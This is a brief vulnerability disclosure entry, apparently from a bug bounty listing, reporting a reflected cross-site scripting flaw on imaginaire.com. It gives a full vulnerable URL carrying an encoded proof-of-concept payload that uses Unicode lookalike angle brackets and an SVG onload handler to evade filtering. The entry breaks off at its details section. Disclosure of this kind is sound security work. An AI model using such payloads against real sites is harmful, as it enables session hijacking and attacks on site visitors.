imaginaire.com XSS vulnerability

Vulnerable URL: http://www.imaginaire.com/indexv2.jsp?ordreDescAsc=ASC%22%27--!%3E%u003CSvg%20/%u3008Svg%20/%uFF1CSvg%20/Onload=confirmOPENBUGBOUNTY%20//cle=CANADIENS%20DE%20MONTREAL%20tuque=tous=in1descf=commencedate=datePI&cat1;=prix=prixPI=en&=/recherchev2/avance2.jsp=30 Details: Description|...